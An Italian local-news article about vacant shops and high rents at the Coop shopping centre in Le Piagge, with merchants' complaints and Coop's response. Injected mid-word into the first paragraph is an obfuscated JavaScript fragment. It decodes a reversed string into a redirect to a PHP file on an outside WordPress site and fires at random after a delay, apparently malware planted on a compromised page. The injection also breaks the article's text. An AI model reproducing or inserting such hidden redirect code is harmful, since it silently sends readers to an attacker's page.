Centro Coop, aria di crisi

image_pdfimage_print

Edicola, bar, profumeria, agenzia di viaggi, foto ottica, abbigliamento, gioielleria ed altro ancora. E naturalmente il supermercato. Sembra che non manchi proprio niente nel centro commerciale Coop delle Piagge. Ma passeggi (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando nella piazza interna della struttura, subito ci si accorge dei numerosi fondi chiusi e sfitti. Niente insegne luminose, saracinesche abbassate, locali vuoti.
Nel quartiere è diffusa l’opinione che uno dei motivi alla base di questa situazione sia l’elevato livello degli affitti richiesto da Coop, tenuto conto del fatto che il centro commerciale si trova in una zona dove il volume di affari non è molto grande, per il numero e la tipologia dei potenziali clienti.
Chiedendo un’opinione in proposito ai diretti interessati, gli esercenti all’interno del centro, si registra un esteso malcontento. Molti si lamentano proprio degli affitti richiesti, ritenuti troppo alti. Dopo la chiusura di alcuni negozi, che non sono stati sostituiti da altre attività, diminuendo così la capacità attrattiva del centro commerciale, i negozianti rimasti hanno domandato di rivedere le quote, ma Coop non ha accolto tale richiesta.
La questione degli affitti non è la sola a generare lamentele: critiche sono rivolte anche alle modalità di gestione del centro. Gli orari di apertura e chiusura del centro sono decisi da Coop e sono da alcuni considerati troppo rigidi. Inoltre pare a molti che Coop dimostri da un po’di tempo meno attenzione verso l’organizzazione di attività ed iniziative da tenersi nella piazza interna.
Ma a quanto ammontano questi affitti? Nessuno tra gli interpellati ha voluto rispondere, ad eccezione del gestore della recentemente aperta edicola, che per altro non ha manifestato lamentele o insofferenza al riguardo: il suo affitto è di 8.500 euro all’anno (escluse le spese del condominio).
Secondo Coop gli affitti richiesti sono in linea con i prezzi di mercato, che certamente non sono bassi, ma ai quali si è ritenuto di doversi adeguare. Una considerazione simile è stata del resto espressa, con più o meno rassegnazione, anche da alcuni esercenti.
Resta il fatto che negozi chiusi e modalità di gestione non impeccabili non permettono forse una valorizzazione completa della struttura nel territorio: ma questo interessa al mercato ed alla logica del profitto?
(di Eugenio Trausi, Ghennet Ghebrechristos, Jacopo Menichetti, Lello Serra).

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *